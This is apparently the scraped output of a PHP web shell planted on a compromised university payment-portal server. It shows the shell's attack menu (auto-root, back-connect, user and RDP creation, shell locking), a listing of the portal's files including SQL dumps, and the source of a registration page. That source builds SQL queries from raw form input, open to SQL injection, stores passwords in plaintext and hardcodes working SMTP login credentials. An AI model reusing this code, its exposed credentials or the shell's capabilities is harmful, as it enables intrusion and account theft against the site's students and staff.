Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
fees-old /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
CSS
[ DIR ]
drwxr-xr-x
alumni-form-ag
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
css-ag
[ DIR ]
drwxr-xr-x
hosted_php
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
student
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
Checksum.php
642
B
-rw-r--r--
FailedTRAN.php
4.85
KB
-rw-r--r--
ForgetPassword.php
1.87
KB
-rw-r--r--
ForgetPasswordPage.php
3.34
KB
-rw-r--r--
GetHandleRES.php
10.87
KB
-rw-r--r--
Index.html
11.28
KB
-rw-r--r--
Reciept.disabledphp
5.1
KB
-rw-r--r--
Reciept.php
5.1
KB
-rw-r--r--
SendPerformREQ.php
9.45
KB
-rw-r--r--
StatusTRAN.php
5.24
KB
-rw-r--r--
StatusTRANold.php
6.09
KB
-rw-r--r--
account.php
3.11
KB
-rw-r--r--
ack.php
7.08
KB
-rw-r--r--
billdesk.disabledphp
1.86
KB
-rw-r--r--
calendar.css
2.65
KB
-rw-r--r--
calendar.js
16.85
KB
-rw-r--r--
calendar_form.php
18.27
KB
-rw-r--r--
corner-bottomleft.jpg
334
B
-rw-r--r--
corner-bottomright.jpg
341
B
-rw-r--r--
corner-topleft.jpg
335
B
-rw-r--r--
corner-topright.jpg
348
B
-rw-r--r--
database.php
2.3
KB
-rw-r--r--
donatebilldesk.php
2.6
KB
-rw-r--r--
donatehdfc.php
11.19
KB
-rw-r--r--
donationmail.php
5.94
KB
-rw-r--r--
error_log
13.22
MB
-rw-r--r--
formvalidator.php
14.1
KB
-rw-r--r--
giveback.php
19.01
KB
-rw-r--r--
giveback_backup.php
10.46
KB
-rw-r--r--
giveback_beforeeditedbyankit.p...
19.09
KB
-rw-r--r--
history.php
1.9
KB
-rw-r--r--
home.html
1.04
KB
-rw-r--r--
index.php
22.04
KB
-rw-r--r--
index1032015.php
22.05
KB
-rw-r--r--
indexb.php
22.97
KB
-rw-r--r--
indexold.php
23.13
KB
-rw-r--r--
jquery-latest.js
166.11
KB
-rw-r--r--
jquery.js
76.54
KB
-rw-r--r--
login.html
780
B
-rw-r--r--
logo.jpg
9.63
KB
-rw-r--r--
misp.html
14.15
KB
-rw-r--r--
misp.php
12.61
KB
-rw-r--r--
newstudent.php
9.72
KB
-rw-r--r--
pay.php
2.45
KB
-rw-r--r--
paymenthistory.php
1.94
KB
-rw-r--r--
phdcheckstatus.php
1.07
KB
-rw-r--r--
recounsiliation.php
6.15
KB
-rw-r--r--
register.php
2.47
KB
-rw-r--r--
register1.php
2.36
KB
-rw-r--r--
register_workshop.php
7.78
KB
-rw-r--r--
student.php
9.73
KB
-rw-r--r--
submittobill.php
551
B
-rw-r--r--
test.html
2.14
KB
-rw-r--r--
test.php
768
B
-rw-r--r--
thanks.php
4.42
KB
-rw-r--r--
user.php
4.84
KB
-rw-r--r--
userlist.php
472
B
-rw-r--r--
vendor.php
10.63
KB
-rw-r--r--
vendorold.php
9.86
KB
-rw-r--r--
wanted_sql_file.sql
2.33
MB
-rw-r--r--
webiiit_pg.sql
1.42
MB
-rw-r--r--
welcome.backup.php
18.06
KB
-rw-r--r--
welcome.php
23.38
KB
-rw-r--r--
welcome.txt
23.38
KB
-rw-r--r--
welcome1032015.php
23.37
KB
-rw-r--r--
welcomebill.php
5.29
KB
-rw-r--r--
welcomehdfc.php
5.8
KB
-rw-r--r--
welcomeold.php
14.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : indexb.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <link rel="shortcut icon" href="http://iiitd.ac.in/sites/default/files/images/site/favicon.ico" type="image/x-icon" /> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>IIIT Delhi - Payment Portal</title> <style type="text/css"> html { overflow-Y: scroll; } body { font: 10px normal Arial, Helvetica, sans-serif; margin: 0; padding: 0; line-height: 1.7em; } *, * focus { outline: none; margin: 0; padding: 0; } .container { width: 60%; margin: 0 auto; } h1 { font: 4em normal Georgia, 'Times New Roman', Times, serif; text-align:center; padding: 20px 0; color: #aaa; } h1 span { color: #666; } h1 small{ font: 0.3em normal Verdana, Arial, Helvetica, sans-serif; text-transform:uppercase; letter-spacing: 0.5em; display: block; color: #666; } h2.acc_trigger { padding: 0; margin: 0 0 1px 0; background: url(h2_trigger_a.gif); height: 46px; line-height: 46px; font-size: 2em; font-weight: normal; } h2.acc_trigger a { text-decoration: none; background:#59575c; color:#FFF; display: block; } h2.acc_trigger a:hover { color: #ccc; } h2.active {background-position: left bottom;} .acc_container { margin: 0 0 5px; padding: 0; overflow: hidden; font-size: 1.2em; clear: both; background: #f0f0f0; border: 1px solid #d6d6d6; -webkit-border-bottom-right-radius: 5px; -webkit-border-bottom-left-radius: 5px; -moz-border-radius-bottomright: 5px; -moz-border-radius-bottomleft: 5px; border-bottom-right-radius: 5px; border-bottom-left-radius: 5px; } .acc_container .block { padding: 20px; } .acc_container .block p { padding: 5px 0; margin: 5px 0; } .acc_container h3 { font: 2.5em normal Georgia, "Times New Roman", Times, serif; margin: 0 0 10px; padding: 0 0 5px 0; border-bottom: 1px dashed #ccc; } .acc_container img { float: left; margin: 10px 15px 15px 0; padding: 5px; background: #ddd; border: 1px solid #ccc; } </style> <script type="text/javascript" src="jquery-latest.js"></script> <script type="text/javascript"> $(document).ready(function(){ //Set default open/close settings $('.acc_container').hide(); //Hide/close all containers $('.acc_trigger:first').addClass('active').next().show(); //Add "active" class to first trigger, then show/open the immediate next container //On Click $('.acc_trigger').click(function(){ if( $(this).next().is(':hidden') ) { //If immediate next container is closed... $('.acc_trigger').removeClass('active').next().slideUp(); //Remove all .acc_trigger classes and slide up the immediate next container $(this).toggleClass('active').next().slideDown(); //Add .acc_trigger class to clicked trigger and slide down the immediate next container } return false; //Prevent the browser jump to the link anchor }); }); </script> </head> <body bgcolor="#f2f5fc"> <div class="container" align="center"><br /> <div align="center"><img src="logo.jpg" align="absmiddle"><br /><br /> <h2 class="acc_trigger"><a href="#"><strong>For Registered Users</strong></a></h2> <div class="acc_container"> <div class="block"> <form name="loginform" method="post" action="welcomebill.php" id="login-form"> <table border="0" align="center" cellspacing="5"><tbody> <tr> <td>Email</td> <td class="html7magic">Password</td></tr> <tr> <td><input type="text" name="email" id="email" tabindex="1"></td> <td><input type="password" name="pass" id="pass" tabindex="2"></td> <td><input value=" Log In to pay " tabindex="4" type="submit" id="login"></label></td> </tr> <tr><td> </td> <td class="login_form_label_field"><a href="recover.php">Forgot your password?</a></td> </tr></tbody></table></form> </div> </div> <h2 class="acc_trigger"><a href="#"><strong>For new students (Don't have Roll Number)</strong></a></h2> <div class="acc_container"> <div class="block"> <?PHP //include the main validation script require_once "formvalidator.php"; $show_form=true; if(isset($_POST['Submit'])) {// The form is submitted //Setup Validations $validator = new FormValidator(); $validator->addValidation("Name","req","Name Field is required"); $validator->addValidation("eno","req","Enrollment Number is required"); $validator->addValidation("eno","alnum","Enrollment Number should be 20 alpha-numeric characters only"); $validator->addValidation("Password","req","Password is required"); $validator->addValidation("MobileNo","req","Mobile Number is required"); $validator->addValidation("MobileNo","num","Mobile Number should be numeric"); $validator->addValidation("Email","email","The input for Email should be a valid email value"); $validator->addValidation("Email","req","Email is required"); //Now, validate the form if($validator->ValidateForm()) { //Validation success. //Here we can proceed with processing the form //(like sending email, saving to Database etc) // In this example, we just display a message include "database.php"; $select = "Select * from user where Email='$_POST[Email]' or ENo='$_POST[eno]'"; $result = mysql_query($select,$db_connection); if($row=mysql_fetch_array($result)) { echo $row['Name']." had already registered with email id: ".$row['Email']." or Enrollment Number: ".$row['ENo']."<br><br> If you forget your password <a href='forget.html'>Click Here </a>to retrive it !"; }else { require("classes/class.phpmailer.php"); $sql ="INSERT INTO user(Name,Email,Password,Mobile,UType,ENo,Course) VALUES ('$_POST[Name]','$_POST[Email]','$_POST[Password]','$_POST[MobileNo]',0,'$_POST[eno]','$_POST[Course]')"; //echo $sql; if (!mysql_query($sql,$db_connection)) { die('Error: ' . mysql_error()); echo "error"; } else { $UserId= mysql_insert_id($db_connection); //echo "Mail started"; $mail = new PHPMailer(); $mail->IsSMTP(); // send via SMTP //IsSMTP(); // send via SMTP $mail->SMTPAuth = true; // turn on SMTP authentication $mail->Username = "karan.gupta@teamportrait.in"; // SMTP username $mail->Password = "kqrqn.g1984"; // SMTP password $webmaster_email = "karan.gupta@teamportrait.in"; //Reply to this email ID $email=$_POST['Email']; // Recipients email ID $name=$_POST['Name']; // Recipients name $mail->From = $webmaster_email; $mail->FromName = "IIIT Delhi"; $mail->AddAddress($email,$name); $mail->AddReplyTo($webmaster_email,"IIIT Delhi"); $mail->WordWrap = 50; // set word wrap //$mail->AddAttachment("/var/tmp/file.tar.gz"); // attachment //$mail->AddAttachment("/tmp/image.jpg", "new.jpg"); // attachment $mail->IsHTML(true); // send as HTML $mail->Subject = "Welcome to IIIT Delhi - Payment Process"; $mail->Body = "<table width='609' border='0' height='100%' cellpadding='0' cellspacing='0' align='center' style='margin:0; padding-bottom:0'> <tr style='margin:0; padding-bottom:0' bgcolor='#f2f5fc'> <td colspan='3' style='margin:0; padding-bottom:0' align='center'><img src='http://diwalidhamaka.com/iiitd/logo.jpg' style='margin:0; padding-bottom:0'/></td> </tr> <tr> <td width='29' bgcolor='#f2f5fc'> </td> <td style='padding:10px 10px 10px 10px'> <font face='Verdana, Geneva, sans-serif' size='-1'><br>Dear ".$_POST['Name']."<br/>Your mobile number: ".$_POST['MobileNo']." <br />Your enrollment number: ".$_POST['eno']." <br />Your Course: ".$_POST['Course']." <br />Please click the link below to confirm details <br> <a href='http://diwalidhamaka.com/iiitd/welcome.php?ID=".$UserId."&UType=1'>Confirm your Student Registration</a></font><br><br><br></td> <td bgcolor='#f2f5fc' width='29'> </td> </tr> <tr bgcolor='#f2f5fc'> <td colspan='3' bgcolor='#f2f5fc' align='center' >System Manager : Mr. Abir Bhatacharya | <a href='mailto:abir@iiitd.ac.in' target='_blank'>abir@iiitd.ac.in</a></td> </tr> </table>";//HTML Body $mail->AltBody = "Please click Below link to confirm your user registration: http://diwalidhamaka.com/iiitd/welcome.php?ID=".$UserId; //Text Body if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo(); echo "Unable to send mail"; } else { echo "<h2>New Student Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confermation e-mail to ".$_POST['Email'].". Please click the confermation link in this e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:karan.gupta@teamportrait.in'>karan.gupta@teamportrait.in</a> or by call at 9718011080 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; } }} $show_form=false; } else { echo "<h3 style='color:#F00'>Errors:</h3>"; $error_hash = $validator->GetErrors(); foreach($error_hash as $inpname => $inp_err) { echo "<p style='color:#F00'>$inp_err</p>\n"; } }//else }//if(isset($_POST['Submit'])) if(true == $show_form) {?> <FORM name='newstudent' action='' method='post' encType= 'multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td>Full name</td> <td><input type="text" name="Name" /></td> <td>Mobile Number</td> <td>+91<input type="text" name="MobileNo" maxlength="10" size="16"></td> </tr> <tr> <td>Enrollment number</td> <td><input type="text" name="eno"/></td> <td>Course</td> <td><select name="Course"> <option>B.Tech.</option> <option>M.Tech.</option> <option>Ph.D.</option> </select></td> </tr> <tr> <td>Email</td> <td><input type="text" name="Email"/></td> <td>Password</td> <td><input type="password" name="Password"></td> </tr> <tr> <td align="center" colspan="4"><input type="submit" name="Submit" value=" Submit " /> <input name="Reset" type="reset" value=" Reset " /></td> </tr> </TBODY> </table> </form><?PHP }//true == $show_form ?> </div> </div> <h2 class="acc_trigger"><a href="#"><strong>For old students (Having Roll number)</strong></a></h2> <div class="acc_container"> <div class="block"> <?PHP //include the main validation script require_once "formvalidator.php"; $show_form=true; if(isset($_POST['Submitold'])) {// The form is submitted //Setup Validations $validator = new FormValidator(); $validator->addValidation("OName","req","Name Field is required"); $validator->addValidation("RollN","req","Roll Number Field is required"); $validator->addValidation("RollN","num","Roll Number should be numeric"); $validator->addValidation("OPassword","req","Password Field is required"); $validator->addValidation("OMobileNo","req","Mobile Field is required"); $validator->addValidation("OMobileNo","num","Mobile Field should be numeric"); $validator->addValidation("OEmail","email","The input for Email should be a valid email value"); $validator->addValidation("OEmail","req","Email Field is required"); //Now, validate the form if($validator->ValidateForm()) { //Validation success. //Here we can proceed with processing the form //(like sending email, saving to Database etc) // In this example, we just display a message include "database.php"; $select = "Select * from user where Email='$_POST[Email]'"; $result = mysql_query($select,$db_connection); if($row=mysql_fetch_array($result)) { echo $row['Name']." had already registered with id: ".$row['Email']."<br><br> If you forget your password <a href='http://womencarrally.com/Pink/forget.html'>Click Here </a>to retrive it !"; }else { require("classes/class.phpmailer.php"); $sql ="INSERT INTO user(Name,Email,Password,Mobile,UType,RNo,Course) VALUES ('$_POST[OName]','$_POST[OEmail]','$_POST[OPassword]','$_POST[OMobileNo]','0','$_POST[RollN]','$_POST[OCourse]')"; //echo $sql; if (!mysql_query($sql,$db_connection)) { die('Error: ' . mysql_error()); echo "error"; } else { $UserId= mysql_insert_id($db_connection); $mail = new PHPMailer(); $mail->IsSMTP(); // send via SMTP //IsSMTP(); // send via SMTP $mail->SMTPAuth = true; // turn on SMTP authentication $mail->Username = "karan.gupta@teamportrait.in"; // SMTP username $mail->Password = "kqrqn.g1984"; // SMTP password $webmaster_email = "karan.gupta@teamportrait.in"; //Reply to this email ID $email=$_POST[OEmail]; // Recipients email ID $name=$_POST[OName]; // Recipients name $mail->From = $webmaster_email; $mail->FromName = "IIIT Delhi"; $mail->AddAddress($email,$name); $mail->AddReplyTo($webmaster_email,"IIIT Delhi"); $mail->WordWrap = 50; // set word wrap //$mail->AddAttachment("/var/tmp/file.tar.gz"); // attachment //$mail->AddAttachment("/tmp/image.jpg", "new.jpg"); // attachment $mail->IsHTML(true); // send as HTML $mail->Subject = "Welcome to IIIT Delhi - Payment Portal"; $mail->Body = "<table width='609' border='0' height='100%' cellpadding='0' cellspacing='0' align='center' style='margin:0; padding-bottom:0'> <tr style='margin:0; padding-bottom:0' bgcolor='#f2f5fc'> <td colspan='3' style='margin:0; padding-bottom:0' align='center'><img src='http://diwalidhamaka.com/iiitd/logo.jpg' style='margin:0; padding-bottom:0'/></td> </tr> <tr> <td width='29' bgcolor='#f2f5fc'> </td> <td style='padding:10px 10px 10px 10px'><font face='Verdana, Geneva, sans-serif' size='-1'><br>Dear ".$_POST['OName']."<br/>Your mobile number: ".$_POST['OMobileNo']." <br />Your Roll number: ".$_POST['RollN']." <br />Course: ".$_POST['OCourse']." <br />Please click the link below to confirm your details. <br> <a href='http://diwalidhamaka.com/iiitd/welcome.php?ID=".$UserId."&UType=2'>Confirm student registration</a></font><br><br><br></td> <td bgcolor='#f2f5fc' width='29'> </td> </tr> <tr bgcolor='#f2f5fc'> <td colspan='3' bgcolor='#f2f5fc' align='center' >System Manager : Mr. Abir Bhatacharya | <a href='mailto:abir@iiitd.ac.in' target='_blank'>abir@iiitd.ac.in</a></td> </tr> </table>";//HTML Body $mail->AltBody = "Please click Below link to confirm your user registration: http://diwalidhamaka.com/iiitd/welcome.php?ID=".$UserId; //Text Body if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>Student Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confermation e-mail to ".$_POST[OEmail].". Please click the confermation link in your e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:karan.gupta@teamportrait.in'>karan.gupta@teamportrait.in</a> or by call at 9718011080 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; } }} $show_form=false; } else { echo "<h3 style='color:#F00'>Errors:</h3>"; $error_hash = $validator->GetErrors(); foreach($error_hash as $inpname => $inp_err) { echo "<p style='color:#F00'>$inp_err</p>\n"; } }//else }//if(isset($_POST['Submit'])) if(true == $show_form) {?> <FORM name='oldstudent' action='' method='post' encType= 'multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td>Full name</td> <td><input type="text" name="OName" /></td> <td>Mobile Number</td> <td>+91<input type="text" name="OMobileNo" maxlength="10" size="16"></td> </tr> <tr> <td>Roll number</td> <td><input type="text" name="RollN" maxlength="15"/></td> <td>Course</td> <td><select name="OCourse"> <option>B.Tech.</option> <option>M.Tech.</option> <option>Ph.D.</option> </select></td> </tr> <tr> <td>Email</td> <td><input type="text" name="OEmail"/></td> <td>Password</td> <td><input type="password" name="OPassword"></td> </tr> <tr> <td colspan="4" align="center"><input type="submit" name="Submitold" value=" Submit " /> <input name="Reset" type="reset" value=" Reset " /></td> </tr> </TBODY> </table> </form><?PHP }//true == $show_form ?></div> </div> <h2 class="acc_trigger"><a href="#"> <strong>For Merchants / Vendors</strong></a></h2> <div class="acc_container"> <div class="block"> <?PHP //include the main validation script require_once "formvalidator.php"; $show_form=true; if(isset($_POST['SubmitM'])) {// The form is submitted //Setup Validations $validator = new FormValidator(); $validator->addValidation("MName","req","Name is required"); $validator->addValidation("CName","req","Company Name is required"); $validator->addValidation("DealsIn","req","Deals in is required"); $validator->addValidation("MPassword","req","Password is required"); $validator->addValidation("MMobileNo","req","Mobile Number is required"); $validator->addValidation("MMobileNo","num","Mobile Number should be numeric"); $validator->addValidation("pin","num","PIN Code should be numeric"); $validator->addValidation("MEmail","email","The input for Email should be a valid email value"); $validator->addValidation("MEmail","req","Email is required"); //Now, validate the form if($validator->ValidateForm()) { //Validation success. //Here we can proceed with processing the form //(like sending email, saving to Database etc) // In this example, we just display a message include "database.php"; $select = "Select * from user where Email='$_POST[Email]'"; $result = mysql_query($select,$db_connection); if($row=mysql_fetch_array($result)) { echo $row['Name']." had already registered with id: ".$row['Email']."<br><br> If you forget your password <a href='http://womencarrally.com/Pink/forget.html'>Click Here </a>to retrive it !"; }else { require("classes/class.phpmailer.php"); $sql ="INSERT INTO user(Name,Email,Password,Mobile,UType,CName,DealsIn,Adress) VALUES ('$_POST[MName]','$_POST[MEmail]','$_POST[MPassword]','$_POST[MMobileNo]',0,'$_POST[CName]','$_POST[DealsIn]','$_POST[Address] ,Pin: $_POST[pin]')"; echo $sql; if (!mysql_query($sql,$db_connection)) { die('Error: ' . mysql_error()); echo "error"; } else { $UserId= mysql_insert_id($db_connection); $mail = new PHPMailer(); $mail->IsSMTP(); // send via SMTP //IsSMTP(); // send via SMTP $mail->SMTPAuth = true; // turn on SMTP authentication $mail->Username = "karan.gupta@teamportrait.in"; // SMTP username $mail->Password = "kqrqn.g1984"; // SMTP password $webmaster_email = "karan.gupta@teamportrait.in"; //Reply to this email ID $email=$_POST[MEmail]; // Recipients email ID $name=$_POST[MName]; // Recipients name $mail->From = $webmaster_email; $mail->FromName = "IIIT Delhi"; $mail->AddAddress($email,$name); $mail->AddReplyTo($webmaster_email,"IIIT Delhi"); $mail->WordWrap = 50; // set word wrap //$mail->AddAttachment("/var/tmp/file.tar.gz"); // attachment //$mail->AddAttachment("/tmp/image.jpg", "new.jpg"); // attachment $mail->IsHTML(true); // send as HTML $mail->Subject = "Welcome to IIIT Delhi - Payment Process"; $mail->Body = "<table width='609' border='0' height='100%' cellpadding='0' cellspacing='0' align='center' style='margin:0; padding-bottom:0'> <tr style='margin:0; padding-bottom:0' bgcolor='#f2f5fc'> <td colspan='3' style='margin:0; padding-bottom:0' align='center'><img src='http://diwalidhamaka.com/iiitd/logo.jpg' style='margin:0; padding-bottom:0'/></td> </tr> <tr> <td width='29' bgcolor='#f2f5fc'> </td> <td style='padding:10px 10px 10px 10px'><font face='Verdana, Geneva, sans-serif' size='-1'><br>Dear ".$_POST['MName']."<br/>Your mobile number: ".$_POST['MMobileNo']."<br/>Your Company Name: ".$_POST['CName']." <br />Your Company Dealsin: ".$_POST['DealsIn']." <br />Please click the link below to confirm your details. <br> <a href='http://diwalidhamaka.com/iiitd/welcome.php?ID=".$UserId."&UType=3'>Confirm vendor Registration</a></font><br><br><br></td> <td bgcolor='#f2f5fc' width='29'> </td> </tr> <tr bgcolor='#f2f5fc'> <td colspan='3' bgcolor='#f2f5fc' align='center' >System Manager : Mr. Abir Bhatacharya | <a href='mailto:abir@iiitd.ac.in' target='_blank'>abir@iiitd.ac.in</a></td> </tr> </table>";//HTML Body $mail->AltBody = "Please click Below link to confirm your user registration: http://diwalidhamaka.com/iiitd/welcome.php?ID=".$UserId; //Text Body if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; } else { echo "<h2>Merchant/Vendor Registration</h2> <p>Thanks for registering with us <br><br><strong>We've sent an account confermation e-mail to ".$_POST['MEmail'].". Please click the confermation link in your e-mail to activate your new account</strong>.</p> <p>If you don't receive an e-mail from us soon, please check your Junk and Spam folders; depending on your e-mail settings, automated e-mails can end up there.</p> <p>If you still haven't received the confirmation after 24 hours, please contact us at <a href='mailto:karan.gupta@teamportrait.in'>karan.gupta@teamportrait.in</a> or by call at 9718011080 (hours M-F 10:00 AM to 5:00 PM IST).</p>"; } }} $show_form=false; } else { echo "<h3 style='color:#F00'>Errors:</h3>"; $error_hash = $validator->GetErrors(); foreach($error_hash as $inpname => $inp_err) { echo "<p style='color:#F00'>$inp_err</p>\n"; } }//else }//if(isset($_POST['Submit'])) if(true == $show_form) {?> <FORM name='form' action='' method='post' encType= 'multipart/form-data'> <table border="0" align="center" cellspacing="5"> <TBODY> <tr> <td width="99">Full name</td> <td width="210"><input type="text" name="MName" /></td><td >Company Name</td> <td width="210"><input type="text" name="CName" /></td> </tr> <tr> <td width="99">Full Address</td> <td width="210"><input type="text" name="Address" /></td> <td width="99">Pincode</td> <td width="210"><input type="text" name="pin" maxlength="6"/></td> </tr> <tr> <td width="99">Deals in</td> <td width="210"><input type="text" name="DealsIn" /></td> <td>Mobile Number</td> <td>+91<input type="text" name="MMobileNo" maxlength="10" size="16"></td> </tr> <tr> <td>Email</td> <td><input type="text" name="MEmail"/></td> <td>Password</td> <td><input type="password" name="MPassword"></td> </tr> <tr> <td colspan="4" align="center"><input type="submit" name="SubmitM" value=" Submit " /> <input name="Reset" type="reset" value=" Reset " /></td> </tr> </TBODY> </table> </form><?PHP }//true == $show_form ?></div> </div> </div> </div></body></html>
Close